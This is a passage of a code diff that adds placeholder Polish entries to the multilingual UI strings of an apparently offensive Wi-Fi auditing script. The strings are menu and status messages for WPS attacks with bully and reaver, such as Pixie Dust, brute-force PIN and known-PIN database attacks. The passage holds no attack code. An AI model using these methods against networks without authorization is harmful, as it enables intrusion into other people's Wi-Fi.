of target network. We might otherwise get false negatives" arr["SPANISH",343]="Para realizar cualquier ataque WPS es necesario tener una buena señal de la red objetivo. Si no, podríamos obtener falsos negativos" @@ -3565,6 +3908,7 @@ function language_strings() { arr["RUSSIAN",343]="Чтобы добиться успеха при любой WPS атаке, вам нужен хорошей сигнал целевой сети. В противном случае мы можем получить ложные срабатывания" arr["GREEK",343]="Για να εκτελεστεί επιτυχώς οποιαδήποτε επίθεση WPS, θα πρέπει να υπάρχει ισχυρό σήμα του δικτύου στόχου. Αλλιώς μπορεί να υπάρξουν ψευδώς αρνητικά αποτελέσματα" arr["ITALIAN",343]="Per qualsiasi attacco WPS è necessario avere un buon segnale della rete obiettivo. Altrimenti potremmo ottenere falsi negativi" + arr["POLISH",343]="${pending_of_translation} " arr["ENGLISH",344]="Some access points can be blocked after failing some PIN connection attempts. It may vary depending on the access point" arr["SPANISH",344]="Algunos puntos de acceso se bloquean tras fallar cierto número de intentos de conexión por PIN. Puede variar dependiendo del punto de acceso" @@ -3574,6 +3918,7 @@ function language_strings() { arr["RUSSIAN",344]="Некоторые точки доступа блокируются после нескольких неудачных попыток подключения с PIN. Это зависит от конкретной точки доступа." arr["GREEK",344]="Μερικά σημεία πρόσβασης μπορεί να μπλοκαριστούν μετά από μερικές αποτυχημένες προσπάθειες σύνδεσης PIN. Μπορεί να διαφέρει ανάλογα με το σημείο πρόσβασης" arr["ITALIAN",344]="Alcuni punti di accesso si bloccano dopo un certo numero di tentativi di connessione con PIN. Può variare a seconda del punto di accesso" + arr["POLISH",344]="${pending_of_translation} " arr["ENGLISH",345]="5. (bully) Custom PIN association" arr["SPANISH",345]="5. (bully) Asociación con PIN personalizado" @@ -3583,6 +3928,7 @@ function language_strings() { arr["RUSSIAN",345]="5. (bully) Ассоциация с персонализированным PIN" arr["GREEK",345]="5. (bully) Σύνδεση με εξατομικευμένο PIN" arr["ITALIAN",345]="5. (bully) Associazione con PIN personalizzato" + arr["POLISH",345]="${pending_of_translation} " arr["ENGLISH",346]="7. (bully) Pixie Dust attack" arr["SPANISH",346]="7. (bully) Ataque Pixie Dust" @@ -3592,6 +3938,7 @@ function language_strings() { arr["RUSSIAN",346]="7. (bully) Атака Pixie Dust" arr["GREEK",346]="7. (bully) Επίθεση Pixie Dust" arr["ITALIAN",346]="7. (bully) Attacco Pixie Dust" + arr["POLISH",346]="${pending_of_translation} " arr["ENGLISH",347]="9. (bully) Bruteforce PIN attack" arr["SPANISH",347]="9. (bully) Ataque de fuerza bruta por PIN" @@ -3601,6 +3948,7 @@ function language_strings() { arr["RUSSIAN",347]="9. (bully) Атака перебором PIN" arr["GREEK",347]="9. (bully) Επίθεση PIN με χρήση ωμής βίας" arr["ITALIAN",347]="9. (bully) Attacco forza bruta con PIN" + arr["POLISH",347]="${pending_of_translation} " arr["ENGLISH",348]="11. (bully) Known PINs database based attack" arr["SPANISH",348]="11. (bully) Ataque basado en base de datos de PINs conocidos" @@ -3610,6 +3958,7 @@ function language_strings() { arr["RUSSIAN",348]="11. (bully) Атака на основе базы данных известных PIN" arr["GREEK",348]="11. (bully) Επίθεση με χρήση βάσης δεδομένων γνωστών PIN" arr["ITALIAN",348]="11. (bully) Attacco che utilizza una base dati di PIN" + arr["POLISH",348]="${pending_of_translation} " arr["ENGLISH",349]=" N. BSSID CHANNEL PWR LOCKED ESSID" arr["SPANISH",349]=" N. BSSID CANAL PWR LOCKED ESSID" @@ -3619,6 +3968,7 @@ function language_strings() { arr["RUSSIAN",349]=" N. BSSID CHANNEL PWR LOCKED ESSID" arr["GREEK",349]=" N. BSSID CHANNEL PWR LOCKED ESSID" arr["ITALIAN",349]=" N. BSSID CANALE PWR LOCKED ESSID" + arr["POLISH",349]="${pending_of_translation} " arr["ENGLISH",350]="${blue_color}You have selected a locked WPS network ${green_color}Do you want to continue? ${normal_color}${visual_choice}" arr["SPANISH",350]="${blue_color}Has seleccionado una red WPS bloqueada ${green_color}¿Deseas continuar? ${normal_color}${visual_choice}" @@ -3628,6 +3978,7 @@ function language_strings() { arr["RUSSIAN",350]="${blue_color}Вы выбрали заблокированную WPS сеть ${green_color}Вы хотите продолжить? ${normal_color}${visual_choice}" arr["GREEK",350]="${blue_color}Έχετε επιλέξει ένα κλειδωμένο WPS δίκτυο ${green_color}Θέλετε να συνεχίσετε; ${normal_color}${visual_choice}" arr["ITALIAN",350]="${blue_color}È stata selezionata una rete WPS bloccata ${green_color}Vuoi continuare? ${normal_color}${visual_choice}" + arr["POLISH",350]="${pending_of_translation} " arr["ENGLISH",351]="WPS locked network: ${pink_color}${wps_locked}${normal_color}" arr["SPANISH",351]="Red WPS bloqueada: ${pink_color}${wps_locked}${normal_color}" @@ -3637,6 +3988,7 @@ function language_strings() { arr["RUSSIAN",351]="Сеть с заблокированным WPS: ${pink_color}${wps_locked}${normal_color}" arr["GREEK",351]="Κλειδωμένο WPS δίκτυο: ${pink_color}${wps_locked}${normal_color}" arr["ITALIAN",351]="Rete WPS bloccata: ${pink_color}${wps_locked}${normal_color}" + arr["POLISH",351]="${pending_of_translation} " arr["ENGLISH",352]="WPS locked network: ${pink_color}None${normal_color}" arr["SPANISH",352]="Red WPS bloqueada: ${pink_color}Ninguno${normal_color}" @@ -3646,6 +3998,7 @@ function language_strings() { arr["RUSSIAN",352]="Сеть с заблокированным WPS: ${pink_color}Нет${normal_color}" arr["GREEK",352]="Κλειδωμένο WPS δίκτυο: ${pink_color}Κανένα${normal_color}" arr["ITALIAN",352]="Rete WPS bloccata: ${pink_color}Nessuno${normal_color}" + arr["POLISH",352]="${pending_of_translation} " arr["ENGLISH",353]="Checking to solve possible \"bad FCS\" problem if exists. Parameterizing..." arr["SPANISH",353]="Realizando una pequeña prueba para solventar el posible problema de \"bad FCS\" si existiese. Parametrizando..." @@ -3655,6 +4008,7 @@ function language_strings() { arr["RUSSIAN",353]="Проверка возможного решения проблемы \"bad FCS (контроля последовательности кадров)\" если она существует. Параметризация..." arr["GREEK",353]="Γίνεται έλεγχος επίλυσης πιθανού σφάλματος \"bad FCS\" αν υπάρχει. Γίνεται παραμετροποίηση..." arr["ITALIAN",353]="Effettuando un piccolo test per risolvere il possibile problema di \"bad FCS\" se presente. Parametrizzando..." + arr["POLISH",353]="${pending_of_translation} " arr["ENGLISH",354]="Done! parameter set" arr["SPANISH",354]="Hecho! parámetro fijado" @@ -3664,6 +4018,7 @@ function language_strings() { arr["RUSSIAN",354]="Сделано! параметры заданы" arr["GREEK",354]="Έγινε! η παράμετρος τέθηκε" arr["ITALIAN",354]="Fatto! parametro impostato" + arr["POLISH",354]="${pending_of_translation} " arr["ENGLISH",355]="It seems this interface was parametrized before. It's not necessary to check again" arr["SPANISH",355]="Esta interfaz ya fue parametrizada anteriormente. No es necesario realizar de nuevo el chequeo" @@ -3673,6 +4028,7 @@ function language_strings() { arr["RUSSIAN",355]="Этот интерфейс был параметризован ранее. Нет необходимости проверять снова" arr["GREEK",355]="Φαίνεται πως αυτή η διεπαφή παραμετροποιήθηκε προηγουμένως. Δεν είναι απαραίτητο να γίνει έλεγχος ξανά" arr["ITALIAN",355]="Questa interfaccia è stata configurata anteriormente. Non c'è bisogno di controllare di nuovo" + arr["POLISH",355]="${pending_of_translation} " arr["ENGLISH",356]="Some combinations don't work well. Such as reaver and Ralink chipset cards. If your card has this chipset is recommended to use bully" arr["SPANISH",356]="Algunas combinaciones no funcionan bien. Como por ejemplo reaver y las tarjetas con chipset Ralink. Si tu tarjeta tiene este chipset es mejor utilizar bully" @@ -3682,6 +4038,7 @@ function language_strings() { arr["RUSSIAN",356]="Некоторые комбинации не работают нормально. К примеру reaver и карты с чипсетом Ralink. Если ваша карта имеет этот чипсет, то рекомендуется использовать bully" arr["GREEK",356]="Μερικοί συνδυασμοί δεν λειτουργούν καλά. Όπως για παράδειγμα το reaver με κάρτες που έχουν Ralink chipset. Αν η κάρτα σας έχει αυτό το chipset είναι προτιμότερο να χρησιμοποιήσετε το bully" arr["ITALIAN",356]="Alcune combinazioni non funzionano bene. Come ad esempio reaver e le schede con chipset Ralink. Se la scheda ha questo chipset è meglio usare bully" + arr["POLISH",356]="${pending_of_translation} " arr["ENGLISH",357]="6. (reaver) Custom PIN association" arr["SPANISH",357]="6. (reaver) Asociación con PIN personalizado" @@ -3691,6 +4048,7 @@ function language_strings() { arr["RUSSIAN",357]="6. (reaver) Пользовательские PIN ассоциации" arr["GREEK",357]="6. (reaver) Σύνδεση με εξατομικευμένο PIN" arr["ITALIAN",357]="6. (reaver) Associazione con PIN personalizzato" + arr["POLISH",357]="${pending_of_translation} " arr["ENGLISH",358]="8. (reaver) Pixie Dust attack" arr["SPANISH",358]="8. (reaver) Ataque Pixie Dust" @@ -3700,6 +4058,7 @@ function language_strings() { arr["RUSSIAN",358]="8. (reaver) Атака Pixie Dust" arr["GREEK",358]="8. (reaver) Επίθεση Pixie Dust" arr["ITALIAN",358]="8. (reaver) Attacco Pixie Dust" + arr["POLISH",358]="${pending_of_translation} " arr["ENGLISH",359]="10. (reaver) Bruteforce PIN attack" arr["SPANISH",359]="10. (reaver) Ataque de fuerza bruta por PIN" @@ -3709,6 +4068,7 @@ function language_strings() { arr["RUSSIAN",359]="10. (reaver) Атака перебором PIN" arr["GREEK",359]="10. (reaver) Επίθεση PIN με χρήση ωμής βίας" arr["ITALIAN",359]="10. (reaver) Attacco forza bruta con PIN" + arr["POLISH",359]="${pending_of_translation} " arr["ENGLISH",360]="12. (reaver) Known PINs database based attack" arr["SPANISH",360]="12. (reaver) Ataque basado en base de datos de PINs conocidos" @@ -3718,6 +4078,7 @@ function language_strings() { arr["RUSSIAN",360]="12. (reaver) Атака на основе базы данных известных PIN" arr["GREEK",360]="12. (reaver) Επίθεση με χρήση βάσης δεδομένων γνωστών PIN" arr["ITALIAN",360]="12. (reaver) Attacco che utilizza una base dati di PINs conosciuti" + arr["POLISH",360]="${pending_of_translation} " arr["ENGLISH",361]="14. Return to main menu" arr["SPANISH",361]="14. Volver al menú principal" @@ -3727,6 +4088,7 @@ function language_strings() { arr["RUSSIAN",361]="14. Возврат в главное меню" arr["GREEK",361]="14. Επιστροφή στο αρχικό μενού" arr["ITALIAN",361]="14. Tornare al menú principale" + arr["POLISH",361]="${pending_of_translation} " arr["ENGLISH",362]="Custom PIN set to ${normal_color}${custom_pin}" arr["SPANISH",362]="PIN personalizado elegido ${normal_color}${custom_pin}" @@ -3736,6 +4098,7 @@ function language_strings() { arr["RUSSIAN",362]="Пользовательский PIN установлен на ${normal_color}${custom_pin}" arr["GREEK",362]="Το εξατομικευμένο PIN τέθηκε σε ${normal_color}${custom_pin}" arr["ITALIAN",362]="PIN personalizzato scelto ${normal_color}${custom_pin}" + arr["POLISH",362]="${pending_of_translation} " arr["ENGLISH",363]="Type custom PIN (8 digits):" arr["SPANISH",363]="Escribe el PIN personalizado (8 dígitos):" @@ -3745,6 +4108,7 @@ function language_strings() { arr["RUSSIAN",363]="Введите пользовательский PIN (8 цифр):" arr["GREEK",363]="Πληκτρολογήστε εξατομικευμένο PIN (8 ψηφία):" arr["ITALIAN",363]="Inserire il PIN personalizzato (8 cifre):" + arr["POLISH",363]="${pending_of_translation} " arr["ENGLISH",364]="BSSID set to ${normal_color}${wps_bssid}" arr["SPANISH",364]="BSSID elegido ${normal_color}${wps_bssid}" @@ -3754,6 +4118,7 @@ function language_strings() { arr["RUSSIAN",364]="BSSID установлена на ${normal_color}${wps_bssid}" arr["GREEK",364]="Το BSSID τέθηκε σε ${normal_color}${wps_bssid}" arr["ITALIAN",364]="BSSID selezionato ${normal_color}${wps_bssid}" + arr["POLISH",364]="${pending_of_translation} " arr["ENGLISH",365]="Channel set to ${normal_color}${wps_channel}" arr["SPANISH",365]="Canal elegido ${normal_color}${wps_channel}" @@ -3763,6 +4128,7 @@ function language_strings() { arr["RUSSIAN",365]="Канал установлен на ${normal_color}${wps_channel}" arr["GREEK",365]="Το κανάλι ${normal_color}${wps_channel}${blue_color} έχει επιλεχθεί" arr["ITALIAN",365]="Canale selezionato ${normal_color}${wps_channel}" + arr["POLISH",365]="${pending_of_translation} " arr["ENGLISH",366]="After stopping the attack (using [Ctrl+C]), the window will not be closed automatically. So you'll have time to write down the password if successful. You'll have to close it manually" arr["SPANISH",366]="Tras parar el ataque (usando [Ctrl+C]), la ventana del ataque no se cerrará automáticamente. Asi tendrás tiempo de anotar la contraseña en caso de tener éxito. Tendrás que cerrarla manualmente" @@ -3772,6 +4138,7 @@ function language_strings() { arr["RUSSIAN",366]="После остановки атаки (используя [Ctrl+C]), окно автоматически не закроется. У вас будет время переписать пароль, если атака завершилась успешно. Затем вам нужно закрыть его вручную" arr["GREEK",366]="Μετά τη διακοπή της επίθεσης (με [Ctrl+C]), το παράθυρο δεν θα κλείσει αυτόματα. Έτσι θα έχετε χρόνο να κρατήσετε τον κωδικό πρόσβασης σε περίπτωση επιτυχίας. Το παράθυρο θα πρέπει να το κλείσετε χειροκίνητα" arr["ITALIAN",366]="Dopo l'arresto dell'attacco (utilizzando [Ctrl+C]), la finestra non si chiuderà automaticamente. In modo da avere il tempo di scrivere la password in caso di successo. Dovrai chiuderla manualmente" + arr["POLISH",366]="${pending_of_translation} " arr["ENGLISH",367]="You have bully installed (v${bully_version}), but not required version. To perform Pixie Dust integrated bully attack you must have at least version v${minimum_bully_pixiewps_version}" arr["SPANISH",367]="Tienes bully instalado (v${bully_version}), aunque no la versión requerida. Para realizar el ataque Pixie Dust integrado con bully has de tener al menos la versión v${minimum_bully_pixiewps_version}" @@ -3781,6 +4148,7 @@ function language_strings() { arr["RUSSIAN",367]="У вас установлен bully (v${bully_version}), но не та версия, которая требуется. Для выполнения интегрированной в bully атаки Pixie Dust у вас должна быть по крайне мере версия v${minimum_bully_pixiewps_version}" arr["GREEK",367]="Έχετε εγκατεστημένο το bully (v${bully_version}), αλλά όχι την απαιτούμενη έκδοση. Για να κάνετε την επίθεση Pixie Dust με ενσωματωμένο bully θα πρέπει να έχετε τουλάχιστον την έκδοση v${minimum_bully_pixiewps_version}" arr["ITALIAN",367]="È stato installato bully (v${bully_version}), ma non la versione richiesta. Per realizzare l'attacco Pixie Dust integrato con bully devi avere almeno la versione v${minimum_bully_pixiewps_version}" + arr["POLISH",367]="${pending_of_translation} " arr["ENGLISH",368]="You have bully installed (v${bully_version}). You meet the version requirement to perform Pixie Dust integrated bully attack (minimum version v${minimum_bully_pixiewps_version}). Script can continue..." arr["SPANISH",368]="Tienes bully instalado (v${bully_version}). Cumples con el requisito de versión para realizar el ataque Pixie Dust integrado con bully (versión mínima v${minimum_bully_pixiewps_version}). El script puede continuar..." @@ -3790,6 +4158,7 @@ function language_strings() { arr["RUSSIAN",368]="У вас установлен bully (v${bully_version}). Версия удовлетворяет требованиям для проведения интегрированной в bully атаки Pixie Dust (минимальная версия v${minimum_bully_pixiewps_version}). Скрипт может продолжить работу..." arr["GREEK",368]="Έχετε εγκατεστημένο το bully (v${bully_version}). Έχετε την απαραίτητη έκδοση bully (ελάχιστη έκδοση v${minimum_bully_pixiewps_version}), για την επίθεση Pixie Dust με ενσωματωμένο bully. Το script μπορεί να συνεχίσει..." arr["ITALIAN",368]="È stato installato bully (v${bully_version}). Soddisfi il requisito della versione per realizzare l'attacco Pixie Dust integrato con bully (versione minima v${minimum_bully_pixiewps_version}). Lo script può continuare..." + arr["POLISH",368]="${pending_of_translation} " arr["ENGLISH",369]="To perform the Pixie Dust integrated attack with reaver or bully, you must have installed at least ${minimum_reaver_pixiewps_version} version for reaver and ${minimum_bully_pixiewps_version} for bully" arr["SPANISH",369]="Para realizar el ataque Pixie Dust integrado con reaver o con bully, has de tener instalada como mínimo la versión ${minimum_reaver_pixiewps_version} para reaver y ${minimum_bully_pixiewps_version} para bully" @@ -3799,6 +4168,7 @@ function language_strings() { arr["RUSSIAN",369]="Для выполнения интегрированной атаки Pixie Dust с reaver или bully, у вас должна быть установлена, по крайней мере, версия ${minimum_reaver_pixiewps_version} для reaver и ${minimum_bully_pixiewps_version} для bully" arr["GREEK",369]="Για να κάνετε την επίθεση Pixie Dust με ενσωματωμένο reaver ή bully, θα πρέπει να έχετε εγκαταστημένη τουλάχιστον την έκδοση ${minimum_reaver_pixiewps_version} για reaver και ${minimum_bully_pixiewps_version} για bully" arr["ITALIAN",369]="Per realizzare l'attacco Pixie Dust integrato con Reaver o bully, deve essere installata almeno la versione ${minimum_reaver_pixiewps_version} per Reaver e la versione ${minimum_bully_pixiewps_version} per bully" + arr["POLISH",369]="${pending_of_translation} " arr["ENGLISH",370]="You have reaver installed (v${reaver_version}). You meet the version requirement to perform Pixie Dust integrated reaver attack (minimum version v${minimum_reaver_pixiewps_version}). Script can continue..." arr["SPANISH",370]="Tienes reaver instalado (v${reaver_version}). Cumples con el requisito de versión para realizar el ataque Pixie Dust integrado con reaver (versión minima v${minimum_reaver_pixiewps_version}). El script puede continuar..." @@ -3808,6 +4178,7 @@ function language_strings() { arr["RUSSIAN",370]="У вас установлен reaver (v${reaver_version}). Версия удовлетворяет требованиям для выполнения интегрированной в reaver атаки Pixie Dust (минимальная версия v${minimum_reaver_pixiewps_version}). Скрипт может продолжить работу..." arr["GREEK",370]="Έχετε εγκατεστημένο το reaver (v${reaver_version}). Έχετε την απαραίτητη έκδοση reaver (ελάχιστη έκδοση v${minimum_reaver_pixiewps_version}), για την επίθεση Pixie Dust με ενσωματωμένο reaver. Το script μπορεί να συνεχίσει..." arr["ITALIAN",370]="È stato installato reaver (v${bully_version}). Soddisfi il requisito della versione per realizzare l'attacco Pixie Dust integrato con reaver (versione minima v${minimum_reaver_pixiewps_version}). Lo script può continuare..." + arr["POLISH",370]="${pending_of_translation} " arr["ENGLISH",371]="You have reaver installed (v${reaver_version}), but not required version. To perform Pixie Dust integrated reaver attack you must have at least version v${minimum_reaver_pixiewps_version}" arr["SPANISH",371]="Tienes reaver instalado (v${reaver_version}), aunque no la versión requerida. Para realizar el ataque Pixie Dust integrado con reaver has de tener al menos la versión v${minimum_reaver_pixiewps_version}" @@ -3817,6 +4188,7 @@ function language_strings() { arr["RUSSIAN",371]="У вас установлен reaver (v${reaver_version}), но не та версия, которая требуется. Для выполнения интегрированной в reaver атаки Pixie Dust у вас должна быть по крайней мере v${minimum_reaver_pixiewps_version}" arr["GREEK",371]="Έχετε εγκατεστημένο το reaver (v${reaver_version}), αλλά όχι την απαιτούμενη έκδοση. Για να κάνετε την επίθεση Pixie Dust με ενσωματωμένο reaver θα πρέπει να έχετε τουλάχιστον την έκδοση v${minimum_reaver_pixiewps_version}" arr["ITALIAN",371]="È stato installato reaver (v${bully_version}), ma non la versione richiesta. Per realizzare l'attacco Pixie Dust integrato con reaver devi avere almeno la versione v${minimum_reaver_pixiewps_version}" + arr["POLISH",371]="${pending_of_translation} " arr["ENGLISH",372]="This action can't be performed without known PINs database file" arr["SPANISH",372]="Sin fichero de base de datos de PINs conocidos no se puede realizar esta acción" @@ -3826,6 +4198,7 @@ function language_strings() { arr["RUSSIAN",372]="Это действие не может быть выполнено без файла базы данных известных PIN" arr["GREEK",372]="Αυτή η ενέργεια δεν μπορεί να πραγματοποιηθεί χωρίς να υπάρχει το αρχείο με την βάση δεδομένων γνωστών PIN" arr["ITALIAN",372]="Senza il file del database dei PIN conosciuti non si puó eseguire questa azione" + arr["POLISH",372]="${pending_of_translation} " arr["ENGLISH",373]="The known PINs database file exists. Script can continue..." arr["SPANISH",373]="Existe el fichero de base de datos de PINs conocidos. El script puede continuar..." @@ -3835,6 +4208,7 @@ function language_strings() { arr["RUSSIAN",373]="Файл с базой данных известных PIN существует. Скрипт может продолжать..." arr["GREEK",373]="Το αρχείο με την βάση δεδομένων γνωστών PIN υπάρχει. Το script μπορεί να συνεχίσει..." arr["ITALIAN",373]="Esiste il file di base dati dei PINs conosciuti. Lo script può continuare..." + arr["POLISH",373]="${pending_of_translation} " arr["ENGLISH",374]="Local PINs database file (${known_pins_dbfile}) can't be found in the script folder. It will be attempted to download" arr["SPANISH",374]="No se ha podido encontrar el fichero local de la base de datos de PINs (${known_pins_dbfile}) en la carpeta del script. Se intentará descargar" @@ -3844,6 +4218,7 @@ function language_strings() { arr["RUSSIAN",374]="Локальный файл базы данных PIN (${known_pins_dbfile}) не найден в папке скрипта. Будет предпринята попытка загрузить его" arr["GREEK",374]="Το αρχείο με την βάση δεδομένων PIN (${known_pins_dbfile}) δεν βρέθηκε στο φάκελο με το script. Θα προσπαθήσει να κατέβει" arr["ITALIAN",374]="Impossibile trovare il file di base dati con i PINs conosciuti (${known_pins_dbfile}) nella cartella dello script. Cercheremo di scaricarla" + arr["POLISH",374]="${pending_of_translation} " arr["ENGLISH",375]="It seems you have no internet access" arr["SPANISH",375]="Parece que no tienes conexión a internet" @@ -3853,6 +4228,7 @@ function language_strings() { arr["RUSSIAN",375]="Судя по всему, у вас нет Интернет доступа" arr["GREEK",375]="Φαίνεται πως δεν έχετε πρόσβαση στο διαδίκτυο" arr["ITALIAN",375]="Sembra che tu non abbia connessione a internet" + arr["POLISH",375]="${pending_of_translation} " arr["ENGLISH",376]="Local PINs database file (${known_pins_dbfile}) was found. Anyway a check for a newer will be performed" arr["SPANISH",376]="Se ha encontrado un fichero local de base de datos de PINs (${known_pins_dbfile}). No obstante se va a comprobar si existe uno más actualizado" @@ -3862,6 +4238,7 @@ function language_strings() { arr["RUSSIAN",376]="Локальный файл базы данных PIN (${known_pins_dbfile}) был найден. В любом случае будет выполнена проверка на наличие новой версии" arr["GREEK",376]="Το αρχείο με την βάση δεδομένων PIN (${known_pins_dbfile}) βρέθηκε. Παρ'όλα αυτά θα πραγματοποιηθεί έλεγχος για νεότερη έκδοση" arr["ITALIAN",376]="Trovato un file locale di base dati dei PINs (${known_pins_dbfile}). Tuttavia sarà verificato se ne esiste uno più aggiornato" + arr["POLISH",376]="${pending_of_translation} " arr["ENGLISH",377]="A more up-to-date PINs database file has been successfully downloaded" arr["SPANISH",377]="Se ha descargado con éxito un fichero de base de datos de PINs más actualizado" @@ -3871,6 +4248,7 @@ function language_strings() { arr["RUSSIAN",377]="Новая версия файла базы данных PIN была успешно загружена" arr["GREEK",377]="Ένα ενημερωμένο αρχείο με την βάση δεδομένων PIN έχει κατέβει με επιτυχία" arr["ITALIAN",377]="È stato scaricato con successo un file di base dati dei PINs piú aggiornato" + arr["POLISH",377]="${pending_of_translation} " arr["ENGLISH",378]="An error occurred while trying to download the PINs database file" arr["SPANISH",378]="Ocurrió un error al intentar descargar el fichero de base de datos de PINs" @@ -3880,6 +4258,7 @@ function language_strings() { arr["RUSSIAN",378]="При попытке загрузить файл базы данных PIN произошла ошибка" arr["GREEK",378]="Παρουσιάστηκε σφάλμα στην προσπάθεια να κατέβει το αρχείο με την βάση δεδομένων PIN" arr["ITALIAN",378]="Si è verificato un errore durante il tentativo di scaricare i file di base dati dei PINs" + arr["POLISH",378]="${pending_of_translation} " arr["ENGLISH",379]="Check of the PINs database file has already been done. It will not be done again..." arr["SPANISH",379]="El chequeo del fichero de base de datos de PINs ya se hizo. No se realizará de nuevo..." @@ -3889,6 +4268,7 @@ function language_strings() { arr["RUSSIAN",379]="Уже выполнена проверка файла базы данных PIN. Она не будет делаться ещё раз..." arr["GREEK",379]="Έχει γίνει ήδη έλεγχος του αρχείου με την βάση δεδομένων PIN. Δεν θα ξαναελεγχθεί..." arr["ITALIAN",379]="Il controllo del file di base dati dei PINs è già stato eseguito. Non sarà più fatto..." + arr["POLISH",379]="${pending_of_translation} " arr["ENGLISH",380]="Do you want to try again next time you launch this attack for this session? ${normal_color}${visual_choice}" arr["SPANISH",380]="¿Deseas que la próxima vez que lances este ataque en esta sesión se vuelva a intentar? ${normal_color}${visual_choice}" @@ -3898,6 +4278,7 @@ function language_strings() { arr["RUSSIAN",380]="Вы хотите снова продолжить эту сессию при запуске этой атаки в следующий раз? ${normal_color}${visual_choice}" arr["GREEK",380]="Θέλετε να δοκιμάσετε ξανά την επόμενη φορά που θα ξεκινήσει αυτή η επίθεση για αυτή την συνεδρία; ${normal_color}${visual_choice}" arr["ITALIAN",380]="Desideri che la prossima volta che viene lanciato questo attacco in questa sessione si tenti di nuovo? ${normal_color}${visual_choice}" + arr["POLISH",380]="${pending_of_translation} " arr["ENGLISH",381]="An error occurred while trying to access to the checksum file of remote PINs database" arr["SPANISH",381]="Ocurrió un error al intentar acceder al fichero de checksum de la base de datos de PINs remota" @@ -3907,6 +4288,7 @@ function language_strings() { arr["RUSSIAN",381]="Произошла ошибка при попытке получить доступ к контрольной сумме файла удаленной базы данных PIN" arr["GREEK",381]="Παρουσιάστηκε σφάλμα στην προσπάθεια πρόσβασης στο αρχείο checksum της απομακρυσμένης βάσης δεδομένων PIN" arr["ITALIAN",381]="Si è verificato un errore durante il tentativo di accedere al file di checksum della basse dati dei PINs remota" + arr["POLISH",381]="${pending_of_translation} " arr["ENGLISH",382]="Checksums of the local and remote files match. Your PINs database file is up-to-date" arr["SPANISH",382]="Los checksum de los ficheros local y remoto coinciden. Tu fichero de base de datos de PINs está actualizado" @@ -3916,6 +4298,7 @@ function language_strings() { arr["RUSSIAN",382]="Контрольные суммы локального и удаленного файлов совпадают. Ваш файл базы данных PIN обновляется" arr["GREEK",382]="Τα checksums των τοπικών και των απομακρυσμένων αρχείων ταιριάζουν. Το αρχείο με την βάση δεδομένων PIN είναι ενημερωμένο" arr["ITALIAN",382]="I checksum dei file locali e remoti corrispondono. Il file di base dati dei PINs è aggiornato" + arr["POLISH",382]="${pending_of_translation} " arr["ENGLISH",383]="It seems there is a more up-to-date PINs database file. It will be downloaded..." arr["SPANISH",383]="Parece que hay un fichero de base de datos de PINs más actualizado. Será descargado..." @@ -3925,6 +4308,7 @@ function language_strings() { arr["RUSSIAN",383]="Есть более новый файл базы данных PIN. Он будет загружен..." arr["GREEK",383]="Φαίνεται πως υπάρχει ένα νεότερο αρχείο με την βάση δεδομένων PIN. Θα κατέβει..." arr["ITALIAN",383]="Sembra che ci sia un file di base dati dei PINs piú aggiornato. Sarà scaricato..." + arr["POLISH",383]="${pending_of_translation} " arr["ENGLISH",384]="Searching in PINs database. Please be patient..." arr["SPANISH",384]="Buscando en la base de datos de PINs. Por favor ten paciencia..." @@ -3934,6 +4318,7 @@ function language_strings() { arr["RUSSIAN",384]="Поиск в базе данных PIN. Подождите немного..." arr["GREEK",384]="Γίνεται αναζήτηση στην βάση δεδομένων PIN. Παρακαλώ έχετε λίγη υπομονή..." arr["ITALIAN",384]="Cercando nella base dati dei PINs. Si prega di essere pazienti..." + arr["POLISH",384]="${pending_of_translation} " arr["ENGLISH",385]="Only one match found in the PINs database" arr["SPANISH",385]="Se ha encontrado sólo una coincidencia en la base de datos de PINs" @@ -3943,6 +4328,7 @@ function language_strings() { arr["RUSSIAN",385]="В базе данных PIN найдено только одно совпадение" arr["GREEK",385]="Μόνο ένα αντίστοιχο PIN βρέθηκε στην βάση δεδομένων" arr["ITALIAN",385]="Solo una corrispondenza trovata nella base dati dei PINs" + arr["POLISH",385]="${pending_of_translation} " arr["ENGLISH",386]="${counter_pins_found} matching PINs have been found in the PINs database" arr["SPANISH",386]="Se han encontrado ${counter_pins_found} PINs coincidentes en la base de datos de PINs" @@ -3952,6 +4338,7 @@ function language_strings() { arr["RUSSIAN",386]="${counter_pins_found} соответствующих ПИНа были найдены в базе данных PIN" arr["GREEK",386]="${counter_pins_found} αντίστοιχα PINs βρέθηκαν στην βάση δεδομένων" arr["ITALIAN",386]="Trovati ${counter_pins_found} PINs coincidenti nella base dati dei PINs" + arr["POLISH",386]="${pending_of_translation} " arr["ENGLISH",387]="No matches found in the PINs database" arr["SPANISH",387]="No se ha encontrado ninguna coincidencia en la base de datos de PINs" @@ -3961,6 +4348,7 @@ function language_strings() { arr["RUSSIAN",387]="В базе данных PIN не найдено совпадений" arr["GREEK",387]="Δε βρέθηκε αντίστοιχο PIN στην βάση δεδομένων" arr["ITALIAN",387]="Nessuna corrispondenza trovata nella base dati dei PINs" + arr["POLISH",387]="${pending_of_translation} " arr["ENGLISH",388]="Calculating and adding possible PINs using common known algorithms (ComputePIN, EasyBox, etc.) ..." arr["SPANISH",388]="Calculando y añadiendo posibles PINs usando algoritmos conocidos comunes (ComputePIN, EasyBox, etc.) ..." @@ -3970,6 +4358,7 @@ function language_strings() { arr["RUSSIAN",388]="Вычисление и добавление возможных PIN с использованием общеизвестных алгоритмов (ComputePIN, EasyBox, etc.) ..." arr["GREEK",388]="Γίνεται υπολογισμός πιθανών PINs και πρόσθεση αυτών κάνοντας χρήση κοινών γνωστών αλγορίθμων (ComputePIN, EasyBox, etc.) ..." arr["ITALIAN",388]="Calcolando e aggiungendo possibili PINs utilizzando noti algoritmi conosciuti (ComputePIN, EasyBox, etc.) ..." + arr["POLISH",388]="${pending_of_translation} " arr["ENGLISH",389]="PINs calculated by algorithms have been added. The attack will be launched with a total of ${counter_pins_found} PINs" arr["SPANISH",389]="Se han añadido PINs calculados por los algoritmos. El ataque se lanzará con un total de ${counter_pins_found} PINs" @@ -3979,6 +4368,7 @@ function language_strings() { arr["RUSSIAN",389]="Добавлены PIN, рассчитанные с помощью алгоритмов. Атака будет произведена в общей сложности по ${counter_pins_found} PIN" arr["GREEK",389]="Προστέθηκαν τα PINs που υπολογίστηκαν από τους αλγορίθμους. Η επίθεση θα ξεκινήσει με ${counter_pins_found} PINs συνολικά" arr["ITALIAN",389]="Sono stati aggiunti PINs calcolati dagli algoritmi. L'attacco sará lanciato con un totale di ${counter_pins_found} PINs" + arr["POLISH",389]="${pending_of_translation} " arr["ENGLISH",390]="Some access points have only PBC (Push Button Connect) enabled and you can't connect via WPS if you don't press the physical button on the device" arr["SPANISH",390]="Algunos puntos de acceso tienen activado solamente PBC 